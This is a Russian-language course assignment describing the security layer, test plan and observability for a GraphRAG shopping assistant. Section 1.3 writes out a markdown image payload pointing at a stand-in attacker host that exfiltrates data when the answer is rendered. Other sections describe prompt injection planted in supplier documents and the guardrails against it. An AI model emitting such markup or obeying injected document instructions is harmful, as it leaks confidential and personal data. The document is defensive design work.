

Комплексное обеспечение качества: безопасность, тестирование, наблюдаемость

Платформа товарных знаний на базе мультимодального GraphRAG

Домашнее задание 6. Курс OTUS “ИИ-архитектор”

Содержание

Контекст	1
1. Слой безопасности	2
1.1. Схема	2
1.2. Что на ней существенно	2
1.3. Утечка через отображение ответа	3
1.4. Модель угроз	5
2. План тестирования	6
2.1. Что блокирует выпуск, а что требует человека	6
2.2. Инструмент и его цена	7
2.3. Два гейта, разделённые по времени	7
3. Наблюдаемость	8
3.1. Четыре слоя	8
3.2. Дашборд	8
Ряд 1. Здоровье сервиса	8
Ряд 2. Где уходит время	9
Ряд 3. Качество и безопасность	9
Ряд 4. Стоимость	9
3.3. Алерты	10
3.4. Бюджет ошибок	11
3.5. Инструменты и отказ от Langfuse	11
Итог	12

Контекст

Репозиторий проекта: https://github.com/SandalAndrey/otus_ai_architect

Заказчик - интернет-магазин коллекционных масштабных моделей: более 15 000 позиций в наличии, около 400 автомобильных марок, порядка 600 производителей.

Три части работы распределены в проекте очень неравномерно, и об этом стоит сказать сразу.

Тестирование было проработано раньше: есть план проверки качества, есть разделение блокирующих проверок и оценок с участием модели, есть замер стоимости прогона. Безопасность тоже проработана: guardrails на входе и выходе, права как предикат запроса к хранилищу, модель угроз. А вот **наблюдаемость до этой работы существовала как один прямоугольник на диаграмме** с подписью “OpenTelemetry, Prometheus, Grafana”: ни одной метрики, ни одного виджета, ни одного алерта.

Это и оказалось основной работой. Причём разрыв был не косметическим: NFR-5.4 задаёт потолок расхода на запрос, NFR-6 - доступность, и оба требования предполагают измерение, которого нигде не описано. Требование, которое нечем измерить, на приёмке неотличимо от пожелания.

1. Слой безопасности

1.1. Схема

1.2. Что на ней существенно

ПДн маскируются дважды: до промпта и на выходе. На входе PII Sanitizer скрывает их до того, как текст попадёт к модели. На выходе потоковый фильтр проверяет каждый фрагмент по формату - телефон, почта, карта.

Вторая проверка не дублирование. Канал утечки реальный: закупщик имеет доступ к грифу Confidential, где лежат история заказов и переписка, эти чанки штатно попадают в его контекст, и модель способна процитировать телефон дословно. Фильтр по грифу здесь не помогает - права у пользователя есть.

Поэтому правило такое: **ПДн маскируются на выходе всегда, независимо от прав.** Основание не в правах, а в границах проекта: система отвечает на товарные вопросы, персональные данные предметом ответа не являются ни для одной роли. За контактом клиента закупщик идёт в учётную систему, а не к ассистенту. Обратной подстановки по той же причине нет.

Рубежей против инъекций три, а не один. Это выяснилось при ревью и было настоящей дырой: в модели угроз инъекция через документы поставщика закрывалась ссылкой на guardIn, который стоит в сервисе агента и проверяет запрос пользователя. Документ приходит другим путём - конвейер разбирает его офлайн, и к моменту вопроса вредоносная инструкция уже лежит в хранилище с нормальным грифом.

Рубеж	Что проверяет	Когда
guardIn	Пользовательский запрос	Онлайн, бюджет 300 мс
ingestionGuard	Содержимое документов: скрытый текст, инструкции в наименованиях	Офлайн, бюджета нет

Рубеж	Что проверяет	Когда
Граница контекста	Фрагменты подаются как данные, а не как указания	Онлайн

Существенное следствие: **модель-страж находит своё место на индексации**. В онлайн-путь она не помещается по бюджету, а в конвейере бюджета времени нет вовсе - свежесть там нормируется часами. Разбор - ADR-0018.

Третий рубеж заведомо слабее двух первых, и притворяться иначе не будем: промпт не механизм защиты, замер на прототипе показал, что модель игнорирует даже просьбу отвечать кратко. Работает здесь структурная часть - фрагмент с идентификатором в отдельном блоке труднее выдать за системное указание, чем текст, вклеенный в общий поток.

Guardrails на входе - каскад из двух уровней, и третьего нет. Это следствие бюджета, а не предпочтения. На фазу отведено 300 мс; правила занимают менее 5 мс, векторная близость к кластерам атак 20-50 мс, а отдельная модель-страж от 300 до 800 мс. **Она не помещается в бюджет вообще** - один её вызов исчерпывает фазу целиком, и запрос уходит в отказ по таймауту.

Поэтому модель-страж переставлена в постаудит: она разбирает подозрительное асинхронно, вне бюджета запроса, и пополняет правила первого уровня. Текущий ответ она не спасает, но следующая такая же атака ловится за пять миллисекунд. Обоснование - ADR-0015.

Права применяются как предикат запроса к хранилищу, а не фильтрацией результата. Данные вне грифа пользователя физически не попадают в контекст модели. Это решение принято в самом начале проекта (ADR-0002) и определило выбор хранилищ: годятся только те, где фильтр применяется одновременно с поиском ближайших соседей.

На выходе четыре независимые проверки, три из которых блокирующие: утечка атрибутов закрытого грифа, отсутствие ссылки на источник, внешний адрес в ссылке или изображении. Четвёртая - токсичность - имеет порог, а не нулевой допуск.

1.3. Утечка через отображение ответа

Третью проверку стоит пояснить отдельно, потому что этого вектора не было в нашей модели угроз до недавнего разбора.

Модель формирует в ответе разметку вида `![x](https://адрес-злоумышленника/log?data=...)`. Клиент при отображении запрашивает этот адрес и вместе с запросом отправляет данные в параметрах. Прямого вывода секрета в текст не происходит, поэтому текстовые фильтры вектор не ловят, а срабатывает он автоматически при показе ответа.

Для нас риск не умогательный: FR-2.4 обязывает сопровождать каждый ответ ссылкой на источник, а виджет встраивается в чужой сайт.

Важная деталь, которая выяснилась при ревью: проверять надо на потоке. Ответ отдаётся по FR-2.6 потоком, и клиент успевает отобразить фрагмент

раньше, чем сработает проверка готового текста. Проверка после отдачи ответа достоверность фиксирует, а утечку не предотвращает - для R-12 она была бы декоративной.

Поэтому выходные проверки расслоены по моменту: разметка и адреса проверяются на каждом фрагменте до отдачи, утечка грифа и наличие источника - на событии завершения. Смягчает картину то, что ссылки на источники модель не генерирует: по контракту API они приходят структурой citations, а не разметкой внутри текста. Остаётся свободный текст, где модель способна написать разметку сама, - его и фильтрует потоковый слой. Разбор - ADR-0017.

Классический STRIDE этого вектора не содержит: методика описывает систему, где данные передаются, а не порождаются. Способность модели сгенерировать разметку, которую клиент выполнит, в ней не предусмотрена. Это и есть практический смысл выражения “расширение STRIDE для AI-систем”.

1.4. Модель угроз

Угроза	Ответ в архитектуре
Spoofing	Роль определяется в шлюзе по подписанному токenu, а не приходит от клиента. Во внутреннем API параметра роли нет вовсе: передаётся список разрешённых грифов
Tampering	Инъекция через содержимое документов поставщика: наименования и скрытый текст в PDF. Рубеж здесь не guardIn : он проверяет запрос пользователя и документа не видит. Проверка выполняется при индексации компонентом ingestionGuard, где бюджета времени нет и доступна модель-страж
Repudiation	Неизменяемый журнал: пользователь, роль, запрос, извлечённые фрагменты, ответ. Срок хранения 12 месяцев
Information disclosure, гриф	Фильтр по грифу в самом запросе. Ноль случаев - блокирующий критерий приёмки без права смягчения
Information disclosure, ПДн	Маскирование на выходе по формату, независимо от прав: фильтр по грифу не срабатывает там, где права у пользователя есть
Denial of service	Пофазные таймауты и общий сторож 8 с, ограничение одновременных обработок с ответом 429. Защиты от намеренной атаки дорогими запросами нет - это пробел

Угроза	Ответ в архитектуре
Exfiltration	Проверка адресов в guardOut плюс политика содержимого на фронтенде.
Elevation of privilege	Вектор добавлен позже остальных Права применяются до извлечения, поэтому обойти ограничение переформулировкой нельзя: модель не видит того, что ей не разрешено

2. План тестирования

2.1. Что блокирует выпуск, а что требует человека

Разделение принципиальное, и причина в том, кто считает метрику.

Детерминированные проверки блокируют автоматически. Их результат воспроизводим: повторный прогон на том же входе даёт тот же ответ.

Проверка	Требование	Как считается
Утечка грифа	NFR-3.1, ноль случаев	Прогон сценариев доступа: один документ, разные роли Разбор ответа
Наличие ссылки на источник	NFR-2.4, 100 %	
Полнота извлечения	NFR-2.3, не ниже 0.80	Пересечение doc_id выдачи с эталонным списком датасета
Корректность отказа	NFR-2.5, не ниже 0.95	Раздел датасета с заведомо отсутствующими данными
Справедливость подбора	NFR-2.6, не ниже 0.80 от массовых	Отношение полноты на редких марках к полноте на массовых
Валидность формата	Схема на каждую структурную роль	Проверка по схеме
Канареечные промпты	Четырнадцать запросов, ноль нарушений	Бинарная оценка
Латентность p95	NFR-1.2, не более 5 с	Нагрузочный прогон

Судья нужен двум метрикам из шести, и они выпуск автоматически не останавливают.

Метрика	Порог	Инструмент
Faithfulness, NFR-2.1	0.90	Ragas
Answer Relevancy, NFR-2.2	0.85	Ragas

Причина, по которой они не блокирующие: в закрытом контуре судьёй может быть только наша же локальная модель, то есть оценщик не сильнее оцениваемого и принадлежит тому же семейству. Порог по такой метрике - сигнал, а не доказательство, и недобор требует разбора выборки человеком.

Три требования группы NFR-2 попали в детерминированные проверки, хотя в типовых наборах считаются моделью. Работает это потому, что эталон в датасете задан списком идентификаторов документов, а не текстом: тогда полнота извлечения превращается в арифметику над множествами. Оговорка: у Ragas метрика с именем `context_recall` устроена иначе, через утверждения эталонного ответа, и требует модель. Имя то же, метрика другая.

2.2. Инструмент и его цена

Выбран **Ragas**, разворачивается в контуре. Причина - метрики привязаны к связке вопрос, контекст, ответ и показывают, что именно просело: извлечение или генерация. Это соответствует нашей структуре, где извлечение и составление ответа разнесены по разным агентам.

LangSmith исключён: облачный сервис, закрытый контур запрещает его наравне с внешними LLM-API. DeepEval сопоставим и остаётся запасным вариантом.

Стоимость прогона измерена, а не оценена. Замер на локальной Ollama, профиль разработки, Qwen3-4B-Instruct в роли и отвечающей, и судьи:

Что	Значение
Генерация ответа	2.66 с
Одна judge-задача	41.2 с
Одна пара вопрос-ответ, три метрики	123.5 с

На золотом датасете в 50 пар при двух judge-метриках это 1.1 часа оценки плюс 23 минуты генерации ответов нашей схемой. **Рабочая оценка до замера была час-полтора для трёх метрик, то есть занижена вдвое.** Числа относятся к CPU-профилю: на целевом железе прогон существенно быстрее, но точную цифру не называю, потому что три предыдущие оценки в проекте замер уже опроверг.

2.3. Два гейта, разделённые по времени

Прогон длиной в час не может стоять перед каждым изменением промпта. Отсюда два гейта с разными триггерами.

Гейт	Состав	Когда	Время
Быстрый	Канарейки, формат, фильтр по грифу, наличие источника	Каждое изменение	Минуты

Гейт	Состав	Когда	Время
Полный	Ragas на золотом датасете, сравнение с предыдущим выпуском	Перед выпуском, в окне GPU	Часы

Оба исполняются на раннере внутри контура: судья - локальная модель, и золотой датасет за периметр не уходит. Версия интерпретатора на раннере фиксируется явно - Ragas тянет зависимости, которые отстают от свежих версий Python, и обновление интерпретатора способно уронить оценку, не затронув наш код. Мы это поймали на практике: на Python 3.14 прогон падает при подготовке датасета.

Отдельное правило: **метрика выше порога, но упавшая более чем на 0.03 против прошлого выпуска, требует объяснения**. Без него система деградирует постепенно, ни разу не нарушив порог.

3. Наблюдаемость

3.1. Четыре слоя

Слой	Вопрос	Кто смотрит
Инфраструктура	Живо ли железо	DevOps
Приложение	Отвечает ли система и как быстро	DevOps, Backend
Модель и извлечение	Хорошо ли отвечает	DS Lead
Стоимость	Во что обходится запрос	Архитектор, Заказчик

Третий и четвёртый - то, чего нет в наблюдаемости обычного веб-сервиса. Загрузка процессора не говорит ничего о том, что система начала выдумывать характеристики моделей.

3.2. Дашборд

Четыре ряда. Верхние два смотрит дежурный, нижние - архитектор и DS Lead.

Ряд 1. Здоровье сервиса

Виджет	Метрика	Существенное
1. Задержка по классам вопроса	p50, p95, p99 с линией 5 с, разбивка на классы А и В	Класс В ожидаемо медленнее, единый график это скрывает
2. Трафик и структура ответов	Запросы в секунду с разложением: успешные, отказ по данным, отказ по правам, ошибки	Видно сразу, растёт нагрузка или растёт доля отказов

Виджет	Метрика	Существенное
3. Доля ошибок	Только внутренние ошибки и таймауты	Отказы по правам исключены: это штатное поведение, а не сбой
4. Насыщение	Потоки генерации и видеопамять с линиями 20 и 40 ГБ	Две метрики, которые первыми упрутся при росте нагрузки

```

histogram_quantile(0.95,
  sum by (le, class) (rate(assistant_request_duration_seconds_bucket[5m])))

```

Ряд 2. Где уходит время

Виджет	Метрика
5. Вклад фаз в задержку	Столбцы с накоплением по семи фазам с их таймаутами, линия бюджета 5 с
6. Отброшенные ветки и пустые выдачи	Рост первой - тихая потеря полноты, рост второй - пробел в корпусе

Ряд 3. Качество и безопасность

Виджет	Метрика
7. Отказы по причинам	Нет данных, нет прав, guardrails, таймаут верификатора. Смыслы разные
8. Доля ответов без сверки	Линия с порогом 3 процента
9. Срабатывания guardrails по уровням каскада	Правила, вектор, постаудит. Рост находок постаудита при неизменных первых двух - защита отстаёт от атак
10. Качество с последнего регрессионного прогона	Не поток, а последнее значение из отчёта, с датой прогона

Десятый виджет устроен иначе остальных намеренно. Faithfulness в продуктиве не считается: судья стоит десятки секунд на пару. На панель значение попадает из отчёта регрессионного прогона, и **дата там важнее самих чисел** - она показывает, насколько устарела оценка.

Ряд 4. Стоимость

Виджет	Метрика
11. Токены на запрос по ролям агентов	Рост у составителя - удлинение контекста, у верификатора - удлинение ответов

Виджет	Метрика
12. Стоимость запроса	Расчётная величина с линией порога NFR-5.4 в 4 руб

Стоимость у нас **не линейна по токенам**, и это отличие от типовых панелей для LLM-приложений. Железо своё, стоимость определяется временем аренды карты: пока она не насыщена, дополнительный запрос бесплатен, а после насыщения требует второй карты. Поэтому формула такая:

$\text{стоимость_запроса} = (\text{аренда_в_месяц} + \text{сопровождение}) / \text{запросов_за_месяц}$

Токены считаются отдельно, но как мера насыщения, а не как деньги.

3.3. Алерты

Алерт - это метрика плюс условие плюс приоритет плюс адресат плюс инструкция. Метрика без инструкции порождает уведомление, на которое нечего ответить.

Алерт	Условие	Severity	Что делать
Утечка грифа	Более нуля за любое окно	Critical	Остановка публичного контура. Блокирующий критерий приёма
Ответ без источника	Более нуля	Critical	Нарушение FR-2.4, проверить обход guardOut
Расхождение версии индекса	Мажорное расхождение	Critical	Откатить онлайн-путь либо переиндексировать
Сервис недоступен	Нет метрик более 2 минут	Critical	Проверить переключение виджета на обычный поиск
Задержка выше бюджета	p95 более 5 с в течение 10 минут	Error	Смотреть панель вклада фаз, не гадать
Ответы без сверки	Доля более 3 процентов за час	Warning	Верификатор не успевает
Отброшенные ветки	Более 5 процентов за час	Warning	Тихая потеря полноты
Насыщение видеопамяти	Более 36 ГБ в течение 15 минут	Warning	Готовить решение о карте на 80 ГБ

Чего в списке нет и почему:

- **Нет алертов на загрузку процессора и память узла.** Они не исполнимы: на что реагировать, если задержка в норме? На панели эти метрики есть, алертов нет.

- **Нет алерта на качество ответов.** Faithfulness в продуктиве не считается, значит и алертом быть не может. Его место - релизный гейт.
- **Critical только там, где ущерб необратим.** Утечка, ответ без источника, рассогласование индекса, недоступность. Остальное ждёт рабочего времени.

3.4. Бюджет ошибок

NFR-6 задаёт 99.5 процента для публичного контура в рабочее время 10:00-22:00.

Контур	Согласованное время	Допустимый простой в год	В месяц
Публичный, 99.5 %	4380 ч	21.9 ч	1.8 ч
Внутренний, 99.0 %	8760 ч	87.6 ч	7.3 ч

Полтора-два часа в месяц - это немного, и за счёт этого бюджета оплачиваются плановые работы: переиндексация со сменой псевдонима, обновление модели, перезапуск инференса. Бюджет исчерпан - плановые работы откладываются.

Существенная оговорка: **переход на обычный поиск по каталогу простом не считается.** По NFR-6 это штатная деградация, а не отказ: сайт работает, ассистент недоступен. Иначе один отказ GPU съедал бы месячный бюджет целиком.

3.5. Инструменты и отказ от Langfuse

Наблюдаемость строится на четырёх частях: OpenTelemetry собирает, Prometheus хранит метрики, Tempo - трассы, Grafana отображает и рассылает алерты. Специализированное средство для LLM-приложений не ставится, и это решение требует объяснения, потому что критерий оценки работы называет Langfuse актуальным инструментом.

LangSmith исключён закрытым контуром. Langfuse разворачивается on-premise и остаётся единственным кандидатом. Его цена известна: **пять контейнеров сверх него самого** - PostgreSQL, ClickHouse, Redis, MinIO и фоновый обработчик, около 4.2 ГБ образов. Мы это видели своими глазами, разворачивая учебный стенд при замере Ragas.

ClickHouse оправдан на объёме, где обычный запрос к метрикам не справляется. У нас порядка тысячи запросов в сутки. Эксплуатация пяти дополнительных узлов ложится на команду, у которой уже есть свой инференс, две базы и конвейер загрузки.

Трассы хранятся в Tempo, а не в Prometheus: последний хранит временные ряды, а не спаны. Tempo выбран за то, что пишет в S3-совместимое хранилище, которое у нас уже развёрнуто под озеро данных, тогда как Jaeger потребовал бы своей базы. Объём трасс ничтожен: тысяча запросов в сутки на двенадцать спанов - около 7 МБ в сутки, 48 МБ за неделю хранения.

Трассировка промптов делается атрибутами OpenTelemetry: роль агента, модель, версия преобразований, токены, признак упора в лимит. **Содержимое промпта в спан не пишется** - оно уже в журнале аудита, где к нему применены права, и дублировать его в телеметрии значит удваивать поверхность утечки. Связь между телеметрией и аудитом - по идентификатору трассы.

Что теряем, названо прямо: разбор плохого ответа становится ручным. В Langfuse инженер видит дерево вызовов с промптами в одном окне, у нас он берёт

идентификатор из метрики, открывает спан, потом ищет запись аудита. Минуты вместо секунд. При частом разборе разница накопится, и тогда решение пересматривается - условие записано в ADR-0016.

Итог

Что сделано	Где
Схема слоя безопасности с каскадом, PII Sanitizer и постаудитом	docs/diagrams/security-layer.mmd
План проверки качества: гейт, канарейки, матрица отказов	docs/14-test-plan.md
Наблюдаемость: метрики, дашборд, алерты, бюджет ошибок	docs/15-observability.md
ADR-0015: каскад guardrails и размещение проверок	docs/adr/0015-...
ADR-0016: состав наблюдаемости, отказ от Langfuse	docs/adr/0016-...

Три вывода, ради которых работа делалась.

Бюджет решает за архитектора. Вопрос “ставить ли модель-страж на вход” выглядел как выбор между надёжностью и скоростью. Он им не был: 300 мс бюджета против 300-800 мс на вызов - это не компромисс, а невозможность. Решение нашлось не в выборе одного из двух, а в переносе механизма туда, где бюджета нет вовсе.

Наблюдаемость обнажает требования, которые нечем измерить. Пока не сели писать метрики, NFR-5.4 и NFR-6 выглядели полноценными требованиями. Оказалось, что для первого не определена формула стоимости, а для второго не определено, что считать простым - и переход на обычный поиск легко мог бы съесть месячный бюджет ошибок, если бы это не проговорили явно.

Отказ от инструмента требует больше обоснования, чем его выбор. Langfuse назван в критериях оценки, и отказ от него пришлось защищать числами: пять контейнеров, ClickHouse, тысяча запросов в сутки. Аргумент не в том, что инструмент плох, а в том, что он рассчитан на объём и команду, которых у нас нет. Это же соображение годится и для защиты перед техническим руководством.